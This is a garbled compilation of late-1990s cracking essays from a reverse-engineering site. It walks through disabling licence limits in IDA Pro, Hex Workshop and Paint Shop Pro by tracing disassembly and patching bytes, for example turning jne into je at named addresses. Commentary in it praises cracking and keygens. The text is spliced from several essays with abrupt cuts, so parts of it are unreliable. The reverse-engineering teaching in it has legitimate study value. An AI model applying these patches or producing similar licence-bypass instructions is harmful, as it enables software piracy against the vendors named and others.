nothing past the 64k boundary is even represented by raw bytes in the
disassembly listing. There's another check somewhere.
I was stuck at this point for some time. I tried using the help file
method above to search out references to "Execution flows beyond
limits", but, while I found one, no hacking around in that area of the
program seemed to help. It then occurred to me that maybe ida never
even loaded more than 64k of the file. However, that couldn't be
right because it would load the entire DATA segment for ida.wll, which
is well past the 64k mark. Maybe it only loaded 64k of each segment.
To investigate this, I ran IDA with BoundsChecker in order to look at
how much of the file was actually being read in.
So, fire up BoundsChecker (other API spies will probably work, but
they won't give you the wealth of information BC does), and load
idaw.exe. In the program settings, be sure to set it to collect all
event data and to load the module ida.wll. Run the program from BC
and open ida.wll from ida. Let it run for a while (at least
until you start getting the "Execution flows beyond limits" messages),
and then quit ida. You've got one hell of a lot of API calls recorded
in BC. In BC, search for calls to CreateFile (which, remember also
opens files in Win32) until you find one that passes "ida.wll" as the
file name. The return value from CreateFile is the handle to ida.wll,
so write that down and start searching for the handle (this will catch
all API calls having to do with ida.wll). You'll come across a whole
bunch of calls to SetFilePointer and to ReadFile. A lot of these
calls set the file pointer to places in the PE Header and read 200
bytes. Forget about these-it's just reading in relevant info about
the file. Eventually, though, you'll hit a call the sets the pointer
to the beginning of the code segment and reads 7A00 bytes, and then
another that sets the pointer to the beginning of the data segment and
reads DE00 bytes. 600 is the offset to the beginning of the code
segment and 88000 is the offset to the DATA segment. Why is it
reading 7A00 bytes instead of 10000 bytes? We'll answer that question
in a moment. Write down the location in ida.wll (4316DC) that called
ReadFile (this can be found in the right hand pane in BC --- isn't BC
great? NuMega wins again) and switch over to w32dasm to see what's
going on there.
Now, there are two ways to proceed. The quick and easy way versus the
methodical way. I naturally first opted for the quick and easy way
which is to search through the w32dasm listing for 0000FFFF and'ed
with something else (searching for ",{space}0000FFFF" is a
Load idaw.exe into SoftICE, set the breakpoint, and load ida.wll into
IDA. When the bp hits, we need to trace the 7A00 back until we find
the point at which it was changed from 87A00. This will be done by
unwinding the stack within softice, which I will explain as we go
along.
So, the breakpoint has hit and we're sitting in a function which
begins at 4316AC. Looking at the code, we know that 7A00 came into
this function as the third argument passed on the stack --- [ebp+10]
(see the Appendix to this article for a discussion of parameter
passing in C and C++ programs). The strategy is to find the function
that called the one we're in and figure out where it got the value
7A00 that it passed to the function we're in. We continue to apply
this method, walking back through the call stack until we find out how
87A00 got to be 7A00. Here's how it works.
Use the command dd esp to display the memory at the top of the stack.
The first address within the program's code starting from the stack
top and going forward (i.e., higher) in memory is the return address
for the call to the function we're in. Disassemble from that address
and scroll up a little. Directly above the address from which you
disassembled you'll see the call instruction. So, 4316AC was called
by the function at 43088C:
:004308CD 8B4D10 mov ecx, dword ptr [ebp+10] ; 3rd arg passed to this
; func == 7A00
:004308D0 51 push ecx ; arg3 to 004316AC
:004308D1 50 push eax ; arg2 to 004316AC
:004308D2 8B4508 mov eax, dword ptr [ebp+08]
:004308D5 50 push eax ; arg1 to 004316AC
:004308D6 E8D10D0000 call 004316AC
From this code we see that 7A00 came in as the 3 rd argument passed to
43088C. So, who called 43088C. Look a little further up the stack
(which you should keep in the SoftICE data window) to find a call at
to:
:0043A31D 90 nop
:0043A31E 894DF8 mov dword ptr [ebp-08], ecx
Removing the 66 takes care of changing cx to ecx and word ptr to dword
ptr, while changing FA to F8 changes the ebp offset. The same
strategy can be applied at 43A35E, 43A3ED, and 43A414. The
instructions at 43A369 and 43A377 also need to be changed. Movzx
means move with sign extended and is used for moving smalling operands
into larger operands while preserving the sign. We want to change
these to simple move instructions, moving our new 32 bit local
variable into a 32 bit register. This can be done fairly easily:
becomes
That takes care of all the instances of our local variable, but we're
not done. At first, it looks like [ebp-0C] is doing some dirty work
here. It gets assigned 10000, which is then compared with the # of
bytes to read. If the number of bytes is bigger, then only 10000
bytes are read. It looks for all the world like part of the
protection scheme, but it isn't. If, after having applied the patches
I've mentioned so far, you force the jump at 43A370, the program
crashes. What ebp-0C does is simply make sure that the prog is
reading only 64k at a time. Notice that most of the function is a
loop that reads 64k chunks until it's read everything it needs to.
Another 64k red herring. However, the instruction at 43A324 needs to
be changed. Remember that edx contains the start address of the
segment. For the code segment, this is less than 64k (i.e., 600), but
for the data segment it's > 64k. I missed this instruction at first
and ended up with a very frustrating problem. The patches I've
described so far work, but IDA was lining up the data segment in
entirely the wrong place. I spent hours looking for some alternate
protection scheme, before I came back and realized what I had missed.
43A324 was the culprit, so that needs to be patched in the same manner
as 43A369 and 43A377.
That's it. No more 64k boundary and all files are disassembled
properly.
This crack is utterly trivial. The code that checks the date is
immediately after the test for 64k files at the beginning of the
program. I'll leave this crack as a mindless exercise.
|:0043A347(C)
|
:0043A34A 8955F0 mov dword ptr [ebp-10], edx
:0043A34D 8B4DF0 mov ecx, dword ptr [ebp-10]
:0043A350 0FAF4DF4 imul ecx, dword ptr [ebp-0C]
:0043A354 51 push ecx
:0043A355 E8028BFFFF call 00432E5C
:0043A35A 59 pop ecx
:0043A35B 8945EC mov dword ptr [ebp-14], eax
:0043A35E 66837DFA00 cmp word ptr [ebp-06], 0000 ; cmp 7A00, 0
:0043A363 0F86B6000000 jbe 0043A41F
|:0043A419(C)
|
:0043A369 0FB745FA movzx eax, word ptr [ebp-06] ; needs patching
:0043A36D 3B45F4 cmp eax, dword ptr [ebp-0C] ; [ebp-c]==10000
:0043A370 7605 jbe 0043A377
:0043A372 8B55F4 mov edx, dword ptr [ebp-0C]
:0043A375 EB04 jmp 0043A37B
|:0043A370(C)
|
:0043A377 0FB755FA movzx edx, word ptr [ebp-06] ; [ebp-06]==7A00
|:0043A375(U)
|
:0043A37B 8955E8 mov dword ptr [ebp-18], edx ;edx==7A00
:0043A37E 8BC7 mov eax, edi
:0043A380 E84B51FEFF call 0041F4D0
:0043A385 8B4DFC mov ecx, dword ptr [ebp-04]
:0043A388 51 push ecx
:0043A389 8B45E8 mov eax, dword ptr [ebp-18] ;==7A00
:0043A38C 50 push eax ; # of bytes to read
:0043A38D 8B55F0 mov edx, dword ptr [ebp-10]
:0043A390 52 push edx
:0043A391 8B4DEC mov ecx, dword ptr [ebp-14]
:0043A394 51 push ecx
:0043A395 E86A48FFFF call 0042EC04 ; this is the call that ends up
; at ReadFile and takes #of bytes
; to read as third arg
|:0043A3F4(C)
|
:0043A40F E8D8FEFFFF call 0043A2EC
:0043A414 66837DFA00 cmp word ptr [ebp-06], 0000 ; needs patching
:0043A419 0F874AFFFFFF ja 0043A369
|:0043A363(C)
|
:0043A41F 8B55EC mov edx, dword ptr [ebp-14]
:0043A422 52 push edx
:0043A423 E8CC89FFFF call 00432DF4
:0043A428 59 pop ecx
:0043A429 B801000000 mov eax, 00000001
|:0043A40D(U)
|
:0043A42E 5F pop edi
:0043A42F 5E pop esi
:0043A430 5B pop ebx
:0043A431 8BE5 mov esp, ebp
:0043A433 5D pop ebp
:0043A434 C20400 ret 0004
The most common way for a program to set up the stack during a
function call is to use the ebp register (the base register) to hold
the base of the stack relative to that function. An amount is then
subtracted from esp which represents the amount of space reserved for
local variables. This is done with the following code which is at the
beginning of most functions:
push ebp
mov ebp,esp
add esp, -10 (FFFFFFF0) ; 10 bytes for local variables
For example:
proc sub
sub1: push ebp ; save ebp from calling function
sub2: mov ebp, esp ; set ebp to point at stack base for this
function
sub3: sub esp, 10 ; reserve 10 bytes for four local variables
sub4: mov eax, [ebp+8] ; move arg1 into eax
sub5: mov ecx, [ebp+C] ; move arg2 into ecx
sub6: mov edx, [ebp+10] ; move arg3 into edx
sub7: mov [ebp-4], eax ; move arg1 into local_1
sub8: mov [ebp-8], edx ; move arg3 into local_2
sub9: push [ebp+C] ; push arg2 onto stack
arg3 <-- esp-C arg2 <-- esp-8 arg1 <-- esp-4 loc5 <-- esp at sub4 it looks like
this: arg3 <-- ebp+10 arg2 <-- ebp+C arg1 <-- ebp+8 loc5 <-- the return address ebp
from calling function <-- current ebp local_1 <-- ebp-4 local_2 <-- ebp-8 local_3 <--
ebp-C local_4 <-- ebp-10 <-- esp Things are not always this pretty, unfortunately.
There are three factors that can disrupt this happy picture. 1. Stack frame
optimization 2. Alternate calling conventions 3. Enregistered local variables 1. Most
compilers these days (certainly M$ VC++ and Borland C++) have an optimization setting
that allows you to turn off ebp based stack frames. This makes the function overhead
smaller and frees up the ebp register for other uses. The function still references
arguments and local variables off the stack, but the ebp register doesn't point to
the function's stack base. Instead, esp is used to reference the srguments and
locals. The problem is that every time something is pushed onto or popped off of the
stack, the value of esp changes. The compiler is able to compensate for this by
adjusting the amount esp is offset when referencing the arguments and locals. Here's
an example: sub1: mov eax, [esp+4] ; mov arg1 into eax sub2: push ebx ; push ebx onto
the stack for whatever reason sub3: mov edx, [esp+8] ; move arg1 into edx---the
offset has changed ; because we pushed ebx onto the stack at sub2 This is annoying
because it makes much harder for things that aren't compilers (like us) to keep track
of what's getting referenced where. The nice thing about IDA Pro is that marks all
these references for you! That's why it *must* be cracked. 2. A calling convention
determines the order in which arguments are passed and how they are passed. The two
most common calling convention are the Pascal and C calling conventions, which
fravia+ has explained quite well elsewhere. However, there are two other conventions,
which pass arguments through registers, that are worth being aware of. The first is
the _thiscall convention, which follows the C calling convention, but also passes a
pointer to the object this (in C++, this refers to the current object) through
register ecx. The second is the _fastcall convention, which passes the first two
arguments that are 32 bits or less through registers ecx and edx, and then passes the
rest of the arguments on the stack with the C calling order. 3. Local variables are
not always stored on the stack after the return address. For optimization purposes
(it's much faster to get a value from a register than from memory), registers are
sometimes used to hold local variables. Of course, there being a limited number of
general registers in Intel chips (RISC chips can have 5-10 times as many registers)
this can only be true to a limited extent. Furthermore, the compiler has to use some
registers as what are called scratch registers (i.e., places to temporarily hold
values) while it moves values in and out of memory. Detecting enregistered local
variables can be difficult.
And you better don't joke with this request of Quine either, because I'll find out if you do.
fravia+,
Thanks,
Quine
(c) Quine 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
We have decided to include in this project also all other essays related to important "tools of the trade", like IDA:
Interactive disassembler, the most powerful disassembler around now (with its version 3.7).
IDA is an 'official +HCU tool' 1997!
The +HCU has received various essays about hexeditors reverse engineering, and about other important tools
for our trade... here are the best ones, stay tuned for more!
Project started 17 August 1997
PHASE 1 by Heres:
PHASE 3 by +daQ:
Cracking THE tool of the trade (bye bye Wdasm), 19 October 1997
(Interactive Disassembler Pro v3.7) - (quine1.htm: FVP01F07)
Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of this
beautiful essay by Quine, which shines methodologically and has a relevance that encompasses almost all fields
of our trade. There are things inside here, like patching pointers and Boundchecker API-intercepting, wich
clearly are NOT FOR NEWBYES, and the whole essay is GOLD worth for all serious reverse engineers. This
essay has been added to the +HCU didactic material (pending Quine's authorization) and will from now on be
distributed to all +HCUkers that begin the courses together with the other main files
PHASE 8 by Frog's Print:
Well, back to DOS! Was about time! Contrarly to what some still choose to believe, dos reversing is far from
being an obsolete activity: many very important programs are working under DOS, because Windoze simply does
not give enough power, and as +ORC told us long ago in his tut, many of the older DOS protections are much
more tougher and interesting than the banal cmp eax, 1 tricks inside "compiled" windoze targets...
There is another very nice lesson teached here by Frog's Pint: let's not be lazy! Almost anyone uses a "ready
cracked" (read "stolen") Sourcer 7 version which comes with a pirated serial number inside it: the whole Web is
polluted with all pirated versions of this important tool, and noone seems to care about the only thing that is
really fascinating in our opinion: how to reverse this reverser program 'par excellence'. And Frog's Print does
exactly this, and he writes:
As we are crackers, let's throw away this serial number and crack Sourcer 7.0
Right! And if you add to these 'strategic' thoughts the whole cursor bpinting, you'll agree with me that this essay
deserves to be posistioned among the prestigious "Advanced cracking series". Enjoy!
PHASE 9 by Quine:
Well, this is SERIOUS ADVANCED CRACKING once more. Once more a fundamental tool of the trade (IDA).
Once more a function reenabling work (the loading of the previous databases, i.e. one of the most important
crippled functions of the crippled version: you do not want to start everything anew every time you use IDA, do
you?). Once more something we all need: new knowledge that you can at once apply to other targets and reverse
engineering endeavours.
Quine is getting us used to this kind of well-crafted essays. I'm afraid newbyes will not understand much here,
please read the 'basic' essays first, and peruse the other +HCU page (where you'll find a lot of help for newbyes)
before delving in this.
This said, here you have a real reverse engineering essay in all its glory... enjoy!
PHASE A by Aesculapius:
This good tool is everywhere to have, regged, for free. I think therefore that Aesculapius work, far from
damaging him, can actually be USEFUL to Ultraedit's Author Ian Mead... here is the point he should take care
of:
however, the program still has to read the registration file to
gather its initiation values, so a bpx on readfile should be enough to find
a fairly close entry point to it
Learn here from Aesculapius how this protection scheme works. It's interesting and the keygenerator in asm at
the bottom can easily be modified for other targets. If you crack Ultraedit register it after 45 days, it deserves it
(IMHO). Enjoy!
PHASE B by Little-John:
Well, an interesting little essay which deals with an utility by Eugene Roshal that is in my opinion injustely
underestimated. Winrar should by all means be on your desktop: it has, on mine, taken the place of my Winzip
6.2 (it deals without problems with all zipped files as well), and that for many reasons, the more important one is
that RARed archives are SMALLER than pkzipped archives!
No, I'm not speaking of the solid archive option (you don't know what 'solid' archiving is? Go and study winrar),
I'm speaking of a normal, default rar archive: it's smaller than a zip!
I know that many don't even know it, and I myself am still compelled to use the zip format when I dump something
on the web 'because everybody zips'. Yet I myself, for myself, on my own harddisks, use only RAR, because with
the monstruous overbloated programs we are dealing with 'every spared byte counts'... and you'll spare a lot of
bytes in comparison with zipped files if you rar. You still don't believe me? Well, read, enjoy and then go and
download winrar... you'll be surprised seeing how GOOD this tool is.!
The essays of +HCU's project 1 will continue after Quine's explanations about IDA.
I'm very pleased to see people using IDA. I really, you know,
think of it as a dear friend now (I know this sounds sick :-). Just
thought I'd clear up a few points from Snatch's and zeezee's essays.
Zeezee has obviously spent some time with IDA and all of his tips
are quite sound. Just as a matter of style, I prefer to keep the
crossrefernces at about 10 -- you can always use
View-->Crossreferences to see the rest. This keeps screen clutter
down. IDA's 'automagically' finding the names is of course its
library recognition function (one of its MOST powerful features).
Keep in mind that there may be more names to be found than what it
automatically does. Often, at the beginning of the status window it
recommends optional libraries to check for. Most commonly if yuo have
Oh, one last thing. Go through the ida.cfg file and above all
else, change the window size. Until I figured out how to do this, I
found IDA impossible to use. Make it big. I have mine set at 132x64.
Anyway, you need a big space to work in.
Quine
PHASE C by +Alt-F4:
Well, Alt-F4 is an incredibly interesting +cracker that works a lot with Java, he's the Author of a
FONDAMENTAL essay for all java reversers: Cracking (black and blue) Java Workshop 2.0, a program that you
should by all means study and use ~ alternatively, you may have found on some CD-ROM for free Symantec
Visual caf trial version 1.0, and you could in that case enjoy A+heist's essay a very silly protection scheme on a
very interesting target
Therefore it suits us all A LOT that +ALT-F4 shows here the (incredibly simple) way to reverse the main Java
disassembler: Wingdis.
In fact, after the sad demise of the clever Author of the mocha disassembler (hope he'll enjoy some reversing
possibilities wherever he did land after having left us :-) Wingdis will be one of the main tools we all will have to
use in the next months
That said, we'll use Wingdis until our own +HCU '98 tools will be ready -at the moment they seem still "under
development" :-(
Anyway all these java essays are GOOD NEWS!
Java is coming! Die Gates die in flames, you horrible slimy bloated bane! Die die die with all your useless
overbloated applications! :-)
So I'm happy to host another fine "Java" +HCU essay, coming to you from mighty +ALT-F4 pen (and brain).
Enjoy!
Hey buds! Feel free to reverse engineer whatever hexeditor or tool of the trade you can put your hands on,
even if it uses very stupid protection schemes!
(This is the only project where we'll in fact accept essays about stupid and boring protection schemes... yet,
please, try at least to find some other interesting "finding" inside the code of these targets if the protection
scheme is too stupid and too boring, else even a good tool wont be interesting for anyone :-)
[HEXWORKSHOP][PaintShopPro]
(Hic sunt tabulae: Best viewed with good old Courier 10)
:00415734 CC int 03
:00415735 CC int 03
:00415736 CC int 03
:00415737 CC int 03
:00415738 CC int 03
:00415739 CC int 03
:0041573A CC int 03
:0041573B CC int 03
:0041573C CC int 03
:0041573D CC int 03
:0041573E CC int 03
:0041573F CC int 03
:00415740 55 push ebp
:00415741 8BEC mov ebp, esp
:00415743 6AFF push FFFFFFFF
:00415745 6873584100 push 00415873
:0041574A 64A100000000 mov eax, fs:[00000000]
:00415750 50 push eax
:00415751 64892500000000 mov fs:[00000000], esp
:00415758 81EC0C020000 sub esp, 0000020C
:0041575E 53 push ebx
:0041575F 56 push esi
:00415760 57 push edi
:00415761 898DE8FDFFFF mov [ebp-00000218], ecx
:00415767 8B450C mov eax, [ebp+0C]
:0041576A 50 push eax
:0041576B 6A73 push 00000073
:0041576D 8B8DE8FDFFFF mov ecx, [ebp-00000218]
:00415773 E87EFC0100 call 004353F6
:00415778 C745FC00000000 mov [ebp-04], 00000000
:0041577F 8B8DE8FDFFFF mov ecx, [ebp-00000218]
:00415785 83C144 add ecx, 00000044
:00415788 E84EF40100 call 00434BDB
:0041578D C645FC01 mov [ebp-04], 01
:00415791 8B85E8FDFFFF mov eax, [ebp-00000218]
:00415797 C70028AE4500 mov dword ptr [eax], 0045AE28
: CALL_NAG_ROUTINE
:00415DAC 55 push ebp ;pusha lotta values
:00415DAD 8BEC mov ebp, esp
:00415DAF 6AFF push FFFFFFFF
:00415DB1 68045E4100 push 00415E04
:00415DB6 64A100000000 mov eax, fs:[00000000]
:00415DBC 50 push eax
:00415DBD 64892500000000 mov fs:[00000000], esp
:00415DC4 83EC54 sub esp, 00000054
:00415DC7 53 push ebx
:00415DC8 56 push esi
:00415DC9 57 push edi
:00415DCA 894DA0 mov [ebp-60], ecx
:00415DCD 6A00 push 00000000
:00415DCF 8B4508 mov eax, [ebp+08]
:00415DD2 50 push eax
:00415DD3 8D4DA4 lea ecx, [ebp-5C] ;for the call
:00415DD6 E865F9FFFF call 00415740 ;*** HERE !!! ***
:00415DDB C745FC00000000 mov [ebp-04], 00000000
:00415DE2 8D4DA4 lea ecx, [ebp-5C]
:00415DE5 E804F70100 call 004354EE
:00415DEA C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00415DF1 E805000000 call 00415DFB
:00415DF6 E913000000 jmp 00415E0E
:00415DFB 8D4DA4 lea ecx, [ebp-5C]
:00415DFE E8FD000000 call 00415F00
:00415E03 C3 ret
Good, OK. Now -once more- who calls this function? As -here too-
we don't have any conditional jumps, we are compelled to look
further inside the green branches of our code_tree.
Let's go on: searching for
call 00415DAC (the beginning of the above function)
we will land inside following code:
:WILL _I_CALL_THE_CALL_NAG_ROUTINE_?
:0040254C 6808414500 push 00454108
:00402551 8D8568FEFFFF lea eax, [ebp-198]
Now have a good look at the code above: As you can see there are
only three possible jumps which will NOT call the CALL_NAG
routine. The one at
:00402598 E953000000 jmp 004025F0 (Jump 2)
is not conditional, and therefore very rarely used for nagscreens
protections. Besides, it links to another unconditional jump and
it's most probably a "Quick_out" way... let's eliminate it, at
least for now.
We remain with only two jumps over the NAG_SCREEN call routine:
00402569 0F8586000000 jne 004025F5 (jump 1)
and
:JUMP_1_UNDER_THE_LUPE
:0040254C 6808414500 push 00454108 ;values for
:00402551 8D8568FEFFFF lea eax, [ebp-198]
:00402557 50 push eax ;the following
:00402558 E893460200 call 00426BF0 ;call
:0040255D 83C408 add esp, 8 ;modify stack
:00402560 0FBF0508414500 movsx word ptr eax, [00454108] ;HERE
:00402567 85C0 test eax, eax ;conditional test
:00402569 0F8586000000 jne 004025F5 ;jump over CALL_NAG
What will then this mysterious [00454108] location be? Don't you
feel it? It's the ACTIVATOR! The location with the flag, which
sets the whole nag screen galore for Hexworkshop! Our cracking
job is already finished!
We don't need anything more: we don't need any fiddling with
breakpoints, nor to examine hundreds of irrelevant calls... with
Windows this kind of "dead listing" cracks works so smooth I
could shriek!
But, hey, OK, we will continue our snooping, for the sake
of it and just in order to be completely sure... it's not
necessary, but let's do it anyway... check a little more
around... search, inside your huge listing, all the other
occurrences of the same [00454108] location... you'll get no more
than 5 hits. The most striking one from our cracking point of
view being the following occurrence:
Version"
|
:00402793 6854494600 push 00464954 ;on the screen
:00402798 685C800000 push 0000805C ;& we'll jump over
:0040279D 6800400000 push 00004000 ;these pushes
:004027A2 8B8D74FFFFFF mov ecx, [ebp-8C]
:004027A8 E823280000 call 00404FD0 ;and this call
85
the byte
84
and now you'll have modified the jne in a (je after CALL_NAG).
We'll now jump if equal (as all men should be, by the
way)... Look!... no more nagscreens to annoy our proven aesthetic
perception, no more silly protections to blemish our suave future
hexediting around :=)
I almost forgot... that's obviously not enough... you must as
well modify the location at :0040277F
[PSP 32]
Can we apply this 'dead listing' approach to other programs? Can
we use the same strategies for other protection schemes?
Sure! Let's remain a little more inside the nagscreens
protections.
A logical step, after the invention of the nagscreen itself,
has been the "mingling" of the nagscreen calling routine. In this
kind of protection the nagscreen routines are 'amalgamated' with
other routines, which cannot be skipped as they are essential for
the working of the program. The main disadvantage of this
approach, for the mercantile protectionists, is that they have
therefore to prepare TWO different versions of their programs:
a 'nagscreened' one and a 'clean' one, since else we would
immediately be able to transform the crippled program in a fully
functional one using the same approach they would use to
'uncripple' it.
Such mingling is therefore only used by major programs which
are well established on the market and can afford the 'doubled'
approach. This is the case of the last versions of PaintShopPro
(PSP).
Even in this case, though, we can crack nice enough, as I
will now demonstrate you with PaintShopPro version 3.2 (a 32 bit
program for Windows 95).
You will probably already possess it, if not find the last
version on the Web -through an Archie search- and download it
-through ftpmail-, Searching the archies will give you something
like this:
:REFERENCE_1_OF_OUR_[004BA038]
* Reference To: EnableWindow, Ord:00ABh in USER32.dll
|
:0041DA41 FF15DC594C00 call dword ptr [004C59DC]
:0041DA47 C605F4134C0002 mov byte ptr [004C13F4],2
:0041DA4E 833D38A04B0001 cmp dword ptr [004BA038],1 ;HERE!! **
:0041DA55 7510 jne 0041DA67 ;and the conditional jump!
:0041DA57 6A00 push 00000000 ;If equal (Zero flag),
:0041DA59 6A6C push 0000006C ;push these parameters
:0041DA5B 6811010000 push 00000111 ;for the PostMessage
:0041DA60 56 push esi ;function...
AhHa! The value 111! (at :0041DA5B). You know what that
means, don't you? For the newbyes among you that don't, learn it
here (the others can skip):
************ THE 111 WM_COMMAND RELEVANCE, by +ORC ********
The function PostMessage() has following structure:
PostMessage(HWND hWnd, UINT uMsg, WPARAM wMsgParam1, LPARAM
lMsgParam2)Where hWnd is the receiving Window, UINT is TRUE or
FALSE WPARAM is a 16 bit value and LPARAM a 32 bit one!
Windows' applications use PostMessage() to deliver WM_Message
requests... and parameter 111 is WM_COMMAND!
Write it on your cracking notes and underline it! 1 is IDOK, 2
is IDCANCEL and 111 is WM_COMMAND.
WM_COMMAND is extremely important for understanding the
behaviour of the application you want to crack, because the
handler for WM_COMMAND is where that application deals with user
commands, such as menu selctions, dialog push button clicks,
etcetera. In other words all what makes the 'guts' of an
application.
An application can tell wich command a user gives through
the wParam parameter to the WM_COMMAND message.
These values are (almost) always part of the application's
menu resources, and it is easy to get the menu ID values through
any utility for resources dumping.
************ (end) **************
OK, so the above listed piece of code has a jump over the
PostMessage routine which (probably) disables the nag screen (6C
is the same ID, for both pieces of code we have seen)...let's try
a "weak" crack on it:
1) Use Hexworks32
2) Load PSP.EXE
3) Search for the bytes sequences of the instructions
:0041DA4E 833D38A04B0001 cmp dword ptr [004BA038],1
:0041DA55 7510 jne 0041DA67
which are followed by the pushes:
:0041DA57 6A00 push 00000000 ;zero
:0041DA59 6A6C push 0000006C ;ID
:0041DA5B 6811010000 push 00000111 ;WM_COMMAND
And as a quick crack (but there are more elegant ways) we can
4) substitute the byte '75' at :0041DA55 with a 74, transforming
the jne in a je, as usual, inverting the jumps. Jump if equal!
JANUARY 1997: THIS PART OF LESSON 9.3 HAS BEEN MODIFIED (OR
ADDED) BY THE +HCU STUDENTS OF UNIT 4
Well, something fishy here, don't you feel it? Who comes in here?
From where? Let's have a GOOD look at the 'preamble', i.e. the
part of the code that 'switches' to our THREE_SISTER_BINGOS block
above:
:PREAMBLE_TO_THREE_SISTER_BINGOS
:004064DD FF15BCF24B00 call dword ptr [004BF2BC] ;check this
loc
:004064E3 85C0 test eax, eax ;test
:004064E5 744E je 00406535 ;zero, go 6535
:004064E7 B896000000 mov eax, 96 ;load par 96
:004064EC 3945E0 cmp [ebp-20], eax ;compare this
:004064EF 7C44 jl 00406535 ;lower, go
6535
:004064F1 3945E4 cmp [ebp-1C], eax ;compare that
:004064F4 7C3F jl 00406535 ;lower, go 6535
:004064F6 8B4508 mov eax, [ebp+08] ;load this
:004064F9 85C0 test eax, eax ;test it
:004064FB 7504 jne 00406501 ;do not xor
and...
:004064FD 33C0 xor eax, eax ;xor and
:004064FF EB03 jmp 00406504 ;do not
:00406501 8B4020 mov eax, [eax+20] ;...load this
:00406504 6A00 push 0 ;push
The next thing i did was check into the help screen area of Paint
Shop Pro. Often in shareware programs there is a HELP ABOUT, or
a HELP REGISTER section. Sometimes those places give away good
info needed (or just plain useful) in the crack routine.
Something that stood out in the help area was the paint shop pro
version statement. It seemed to be identical to the printed
version as seen on the nag screen. That means one of two things:
either the version number string was just typed in twice, or more
likely, just another call to a function: PSP_VERSION() or
somesuch.
What that means for the crackist should be pretty clearly a way
to locate the protection routine. Since the word SHAREWARE shows
up in both version calls, it can be scanned for pretty easily
with either that or the word VERSION itself.
Then, once i felt i had done enough scouting the territory, I ran
WDASM and grabbed myself a dead listing. Scanning for SHAREWARE,
I found a couple easy references to it... one being a data string
that I promptly blanked out and the other being in the text that
comes up on the nagscreen itself. WELL WELL...
Okay, running the program again, and firing softice (old friend)
i immediately saw that the version checking routine no longer
tacked on the word SHAREWARE in either the nagscreen or in the
help box.. thus proving the version call to be just that.. a call
(as suspected).
It was do-able with soft-ice alone, but tracing into the maze of
nested calls in PSP really wasn't worth my time.
Then came a little work - not too much, but some things were a
little funny. Notice the BITBLT in the nagscreen creation code.
I had tried to scan for some of the standard SHOWWINDOW calls
with softice and in the disassembly, but not one was to be found
where it needed to be. Apparently PSP was using some other method
of showing the screen... and a simple graphics memory copy (known
to those who follow Micro$oft as a BitBlt) was apparently the
modus operandi.
Some of the text was already in place before the BitBlt, so here
is our reason that some of the nagscreen was not being done as
we watched with the debugger... it was being written to a
backbuffer before being copied as a whole window before being
blitted to the screen. This, for those of you new to graphics
programming, is how people make smooth animation that does not
flicker... all of the animating is done in the background and a
whole screen is blitted at one time rather than by bits and
pieces (you can tell which programs do not do this very easily
since they have images that seem to disappear or flicker wrong
in odd places on the screen)
There were not many calls in that area, and only the ones that
referenced string data or the bitblt itself could be effectively
nop'ed out.
The reason we are getting the ghost window in the back (notice
it's size is EXACTLY the same as the nagscreen, is that windows
is being instructed by some window create command to block off
the rectangular space for the screen even though the graphic
interior does not get written.
Now we need to locate the call that creates the window in the
first place and nop it or whatever... there is probably a nicer
way to do all this (if you work at it, you can probably jmp past
all the functions i nop'd - taking care not to leave unmatched
pushes or pops which ruin the flow of the program - at some point
in the nagscreen area
The funny part of all this is that our cracked version will be
better than the registered version since the registered version
has a splash screen anyway - and ours does not :)
* StringData Ref from Data Obj ->"4" ;FIRST DIGIT OF VERSION 4.01
|
:004350E4 6874AE4B00 push 004BAE74
:004350E9 8B3D90004C00 mov edi, [004C0090]
:004350EF C645FC07 mov [ebp-04], 07
:004350F3 C706F0A54A00 mov dword ptr [esi], 004AA5F0
:004350F9 FFD7 call edi
:004350FB 83C404 add esp, 00000004
:004350FE 8BD8 mov ebx, eax
:00435100 C1E310 shl ebx, 10
The first BitBlt routine of the program puts the screen on!
it is at:
and here some other annoying pieces of code: The red bar as soon
as you use the program more than 30 days...
Once found all the above, the rest is pretty obvious... here all
the necessary crackcodes: bytes to find and change. This is a
weird, non-elegant crack, but kinda funny, so i had to write it
down until i discover a better one (+gthorne speaking) note:
i gave good search strings so lamers don't get confused with
similar patterns in the software:
final note: since psp closes the nagscreen when the program
exits, all is now cleaned up.
works! Quick and placid! In the PSP32 case the protection will
still show you the nagscreen, which will "automatically"
disappear, though, leaving you with no annoyance (in nuce: you
cracked the return button), in the other case you have physically
eliminated all possible annoyances. The nagscreen is still there,
but it does not 'harm' you any more.
Anyway I wanted only to show you the POWER and the CHILD'S PLAY
working of this "dead listing" approach (that you may combine
with some quick winice probes if you really think you need it
anytime).
You'll agree with me, though, that this quick "weak" crack,
made with the "dead listing" method is far less tiresome than a
'live' crack with our beloved SoftIce/WinIce.
Now, in life, I believe, you should always search to obtain
the maximum giving the minimum. There is no point in being
altruistic or excessively honest in a society where the tiny
minority that profits most keeps getting richer and richer and
the overwhelming majority that lives with meager earnings keeps
getting poorer and poorer (and -moronized by TV-watching and
other Pavlovian propagandistic sources of misinformation- keeps
voting the same rich bastards that keep it enslaved under the
whips of publicity, as if the slaves of ancient Egypt would
happily vote for their Pharaohs). I abhor and despise the society
I am compelled to live in... but this does not mean that I
renounce to anything. I am (pretty) rich, (yet do not exploit
anybody), eat very well, have a big nice house with all the
useless objects and cars and garages and terraces and futile
gadgets you are supposed to enjoy in this moronic society (I
enjoy foremost my spacious library) and I drink my regular bottle
of (Moskowskaja) Wodka every week. My liver (and my nice family)
do not seem to complain :=)
E-mail +ORC
+ORC na526164@anon.penet.fi
Well, this essay is published with great delay because Heres sent it to me only on 14 August 1997, it is another approach to
Hexworkshop reverse engineering, worth reading
- by Heres -
[You should use Courier New 8 in order to view and print correctly this
essay]
THE CRACK
Ok... Now try to create a file of at least 210 bytes, called HEXWORKS.REG, in the
target directory. My one, below, is particular (completed after 3 attempts,
launching the program byte-cracked in the first way), but only the length is
important for now...
xx0000000000
Heres
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
With 0Dh,0Ah at the end of each line (yes, I wrote it with a simple editor).
OFFSET: -OLD-
0003A59B 0F8418010000 je 0043B2B9 ; Jump if Registered
OFFSET: -NEW-
